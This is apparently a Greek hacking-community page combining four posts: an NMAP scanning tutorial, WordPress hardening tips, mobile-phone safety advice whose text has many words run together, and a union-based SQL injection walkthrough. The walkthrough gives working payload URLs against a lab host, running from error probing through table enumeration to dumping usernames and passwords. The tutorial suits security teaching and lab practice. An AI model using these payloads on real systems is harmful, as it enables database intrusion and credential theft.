Σε αυτό το tutorial θα χρησιμοποιήσουμε το NMAP για να συγκεντρώσουμε πληροφορίες για ανοικτές πόρτες στο στόχο μας.
Ας ξεκινήσουμε με κάποια βασικά πράγματα για το NMAP.
Χρησιμοποιώντας το NMAP μπορούμε να βρούμε ανοικτές πόρτες και εκδόσεις υπηρεσιών οι οποίες τρέχουν σε ένα server και μπορούν να μας βοηθήσουν να λάβουμε άμεση πρόσβαση εκμεταλλεύοντας οποιαδήποτε λειτουργία ή μέσω bruteforce. Επίσης μπορούν να μας βοηθήσουν να καταλάβουμε σχετικά με υπηρεσίες οι οποίες τρέχουν στο server, έτσι ώστε αργότερα μπορεί να χρειαστούν ενώ κάνουμε pentesting.
Δύο βασικοί τύποι σκαναρίσματος οι οποίοι χρησιμοποιούνται συχνότερα στο NMAP είναι το TCP connect() scanning [-sT] και το SYN scanning (γνωστό επίσης και ως half-open, ή stealth scanning) [-sS].
Για ένα απλό σκανάρισμα για πόρτες:
Nmap <IP Address>
Για ένα Stealth σκανάρισμα για πόρτες:
Nmap -sS <IP Address>
Για να σκανάρουμε την έκδοση μιας υπηρεσίας η οποία τρέχει σε ανοικτές πόρτες χρησιμοποιούμε τη μεταβλητή -sV
Nmap -sV <IP Address>
Μερικές φορές αν ένας server μπλοκάρει το ping μας και δείχνει πως δε λειτουργεί, τότε μπορούμε να χρησιμοποιήουμε τη μεταβλητή -Pn για να το σκανάρουμε
Nmap -sV -Pn <IP Address>
Για να βρούμε το λειτουργικό σύστημα μπορούμε να χρησιμοποιήσουμε το τη μεταβλητή -O
Ο Αλέξανδρος είναι ο ιδρυτής του hacks.gr και η κινητήρια δύναμη πίσω από το όραμά μας.
Με πολυετή εμπειρία στον κόσμο του hacking, έχει διαμορφώσει μια κοινότητα που είναι πηγή έμπνευσης και μάθησης για όλους.
Με τον προσωπικό του χαρακτήρα και την τεχνογνωσία του, έχει δημιουργήσει έναν χώρο όπου οι λάτρεις του hacking μπορούν να συναντιούνται, να μοιράζονται γνώσεις και να εξελίσσονται.
Η προστασία μιας ιστοσελίδας WordPress είναι κρίσιμη για τη διατήρηση της ασφάλειάς της. Εδώ έχουμε μερικές βασικές οδηγίες για το πώς να προστατεύσετε την ιστοσελίδα σας:
Κρατήστε το WordPress, θέματα και πρόσθετα ενημερωμένα: Οι ενημερώσεις περιλαμβάνουν συχνά διορθώσεις ασφαλείας. Βεβαιωθείτε ότι το WordPress, τα θέματά σας και τα πρόσθετά σας είναι πάντα ενημερωμένα.
Χρησιμοποιήστε ισχυρούς κωδικούς πρόσβασης: Χρησιμοποιήστε μία συνδυασμό πεζών και κεφαλαίων γραμμάτων, αριθμών και ειδικών χαρακτήρων για τους κωδικούς πρόσβασης του διαχειριστή σας.
Περιορίστε τις προσπάθειες σύνδεσης: Εγκαταστήστε ένα πρόσθετο περιορισμού προσπαθειών σύνδεσης (login attempts) για να αποτρέψετε επιθέσεις brute force.
Χρησιμοποιήστε SSL/HTTPS: Εγκαταστήστε ένα πιστοποιητικό SSL για να κρυπτογραφείτε την επικοινωνία με την ιστοσελίδα σας, προσφέροντας έτσι ασφαλή σύνδεση.
Περιορίστε την πρόσβαση στον φάκελο wp-admin: Μπορείτε να περιορίσετε την πρόσβαση στον φάκελο wp-admin μόνο σε συγκεκριμένες IP διευθύνσεις.
Ενεργοποιήστε την διήθηση δύο παραγόντων (2FA): Η συνδεση δύο παραγόντων προσθέτει επιπρόσθετη ασφάλεια, απαιτώντας έναν επιπλέον κωδικό εκτός από τον κωδικό πρόσβασης.
Καθαρίστε τον κώδικά σας: Αναζητήστε τυχόν αδυναμίες στον κώδικά σας και επιδιορθώστε τις αμέσως. Επιπλέον, απενεργοποιήστε ή διαγράψτε πρόσθετα ή θέματα που δεν χρησιμοποιείτε.
Εφαρμόστε αντι-DDoS μέτρα: Χρησιμοποιήστε μια υπηρεσία προστασίας από DDoS επιθέσεις για να προστατεύσετε την ιστοσελίδα σας από υπερφορτώσεις και επιθέσεις αυξημένης κίνησης.
Κάντε τακτικά αντίγραφα ασφαλείας: Κάντε τακτικά αντίγραφα ασφαλείας της ιστοσελίδας σας, συμπεριλαμβανομένης της βάσης δεδομένων, για να αποκαταστήσετε την ιστοσελίδα σε περίπτωση προβλημάτων.
Ο Αλέξανδρος είναι ο ιδρυτής του hacks.gr και η κινητήρια δύναμη πίσω από το όραμά μας.
Με πολυετή εμπειρία στον κόσμο του hacking, έχει διαμορφώσει μια κοινότητα που είναι πηγή έμπνευσης και μάθησης για όλους.
Με τον προσωπικό του χαρακτήρα και την τεχνογνωσία του, έχει δημιουργήσει έναν χώρο όπου οι λάτρεις του hacking μπορούν να συναντιούνται, να μοιράζονται γνώσεις και να εξελίσσονται.
Το Union Based Injection δεν είναι κάτι δύσκολο σε σχέση με Blind SQL Injection , Time-based Blind SQLi etc.
Αρχικά να πούμε με δύο λόγια τι είναι το SQL Injection.
Η επίθεση SQL Injection(SQLi) μας επιτρέπει να κάνουμε “injection” SQL Queries μέσω του URL και να πάρουμε πρόσβαση σε πληροφορίες όπως : usernames , passwords , τηλέφωνα , credit card details , ονόματα , επίθετα etc. Τώρα το Vulnerable URL μας είναι το παρακάτω :
http://192.168.1.26/cat.php?id=1
Τώρα θα έρθει κι θα πει κάποιος πως ξέρουμε ότι αυτό είναι vulnerable σε SQLi ? Μετά το cat.php?id=1 μπορούμε να προσθέσουμε τα παρακάτω :
http://192.168.1.26/cat.php?id=1' http://192.168.1.26/cat.php?id=1" http://192.168.1.26/cat.php?id=1' or '1'='1 http://192.168.1.26/cat.php?id=1' and '1'='1 Τώρα άμα πήραμε ας απάντηση κάποιο από τα παρακάτω μηνύματα σημαίνει ότι είναι vulnerable σε SQLi :
MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” at line 1
Oracle Error : ORA-00933: SQL command not properly ended
PostgreSQL Error : PSQLException: ERROR: unterminated quoted string at or near “‘” Position: 1 or Query failed: ERROR: syntax error at or near “‘” at character 12 in /www/site/site.php on line 560.
Κάτι ακόμα που θα χρειαστούμε είναι τα διάφορα comments για το SQLi :
Linux : —
Windows : –+
Hash : #
SQL Comment : –+-
Null Byte : ;%00
Αφού είπαμε κάποια βασικά πράγματα ας ξεκινήσουμε το πρώτο πράγματα που πρέπει να κάνουμε είναι να βρούμε τον αριθμώ των columns κάτω από το query. Θα χρησιμοποιήσουμε το order by [number] :
http://192.168.1.26/cat.php?id=1 order by 1-- | Χωρίς Error http://192.168.1.26/cat.php?id=1 order by 2-- | Χωρίς Error http://192.168.1.26/cat.php?id=1 order by 3-- | Χωρίς Error http://192.168.1.26/cat.php?id=1 order by 4-- | Χωρίς Error http://192.168.1.26/cat.php?id=1 order by 5-- | Error
Όταν τρέξαμε το order by 5– πήραμε error “Unknown column ‘5’ in ‘order clause'” οπότε ο αριθμός τον column είναι 4 επειδή πήραμε error στο 5. Τώρα θα δείξουμε μερικά functions που θα μας βοηθήσουμε να πάρουμε πληροφορίες για τον στόχο μας.
@@hostname -> θα μας δώσει το hostname. @@version -> θας μας δώσει την version του DB. database() -> θα μας δώσει την συγκεκριμένη DB. schema() -> θα μας δώσει την συγκεκριμένη DB. user() -> θα μας δώσει τον χρήστη.
Υπάρχουν κι άλλα μπορείτε να ψάξετε στο google. Πάμε τώρα να χρησιμοποιήσουμε το UNION function και να πάρουμε δοκιμάσουμε μερικά functions εφόσον ο αριθμός των columns είναι 4 :
http://192.168.1.26/cat.php?id=1 union all select 1,2,3,4-- Τώρα ας χρησιμοποιήσουμε ένα function για να δούμε άμα λειτουργεί παράδειγμα το database() οπότε τώρα :
http://192.168.1.26/cat.php?id=1 union all select 1,database(),3,4-- Και πήραμε : photoblog ας απάντηση. Τώρα ας συνεχίσουμε και να πάρουμε πληροφορίες από την βάση δεδομένων, ας πάρουμε όλα τα tables από την βάση δεδομένων :
http://192.168.1.26/cat.php?id=1 union all select 1,table_name,3,4 from information_schema.tables-- Τώρα άμα τα αποτελέσματα είναι πολλά μπορούνε να χρησιμοποιήσουμε το limit() function :
#Θα πάρουμε μόνο το πρώτο table. http://192.168.1.26/cat.php?id=1 union all select 1,table_name,3,4 from information_schema.tables limit 0,1--
#Θα πάρουμε μόνο το δεύτερο table. http://192.168.1.26/cat.php?id=1 union all select 1,table_name,3,4 from information_schema.tables limit 0,2--
#Θα πάρουμε μόνο το τρίτο table. http://192.168.1.26/cat.php?id=1 union all select 1,table_name,3,4 from information_schema.tables limit 0,3-- Τώρα θα πάρουμε τα columns names κάτω από ένα table το table μας τώρα είναι το users όπου θα περιέχει το username,password :
http://192.168.1.26/cat.php?id=1 union all select 1,column_name,3,4 from information_schema.columns where table_name='users'-- Και τέλος το καλύτερο μέρος οπού θα πάρουμε τα δεδομένα από τα columns που είναι : username , password :
http://192.168.1.26/cat.php?id=1 union all select 1,concat(login,password),3,4 from users-- Δεν ήταν κάτι το δύσκολο δεν είχαμε κανένα WAF μπροστά μας.. αυτό ήταν.
Ο Αλέξανδρος είναι ο ιδρυτής του hacks.gr και η κινητήρια δύναμη πίσω από το όραμά μας.
Με πολυετή εμπειρία στον κόσμο του hacking, έχει διαμορφώσει μια κοινότητα που είναι πηγή έμπνευσης και μάθησης για όλους.
Με τον προσωπικό του χαρακτήρα και την τεχνογνωσία του, έχει δημιουργήσει έναν χώρο όπου οι λάτρεις του hacking μπορούν να συναντιούνται, να μοιράζονται γνώσεις και να εξελίσσονται.
Να είστε πιο προσεκτικοί όταν δίνετε τον αριθμό του κινητού σας τηλεφώνουσεάλλους.Μπορεί να αρχίσετε να λαμβάνετε ανεπιθύμητες κλήσεις και μηνύματα.
Τακινητάτηλέφωναπρέπειπάνταναβρίσκονται υπό την επίβλεψή σας. Μηνταδανείζετε σε τρίτους,εκτόςαν είναι απολύτως απαραίτητο και είστε παρόντες.
Αποφύγετε να συναντάτεάτομα που γνωρίσατε στοκινητόσας τηλέφωνο.
Χρησιμοποιήστε το κινητό σας τηλέφωνο μόνο για να επικοινωνήσετε με κάποιον όταν τοχρειάζεστε και μηνστέλνετε ανεπιθύμητα μηνύματα. Πώς θα νιώθατε αν λαμβάνατε έναανεπιθύμητομήνυμα στο κινητό σας τηλέφωνο;
Εάνλάβετεμήνυμα ή φωνητικό μήνυμα στο κινητό σας τηλέφωνο απόκάποιονπουδενγνωρίζετε, διαγράψτε το χωρίς να απαντήσετε.
Για να φωτογραφίσετεέναάλλοάτομο, πρέπει πρώτα να λάβετε την άδειά του.Ναθυμάστεότιμόλις ανεβάσετε μιαφωτογραφία στο διαδίκτυο,θαπαραμείνειεκεί για πάντα και πιθανόταταθαχρησιμοποιηθεί με τρόπο πουδενείχατεαρχικά σκοπό.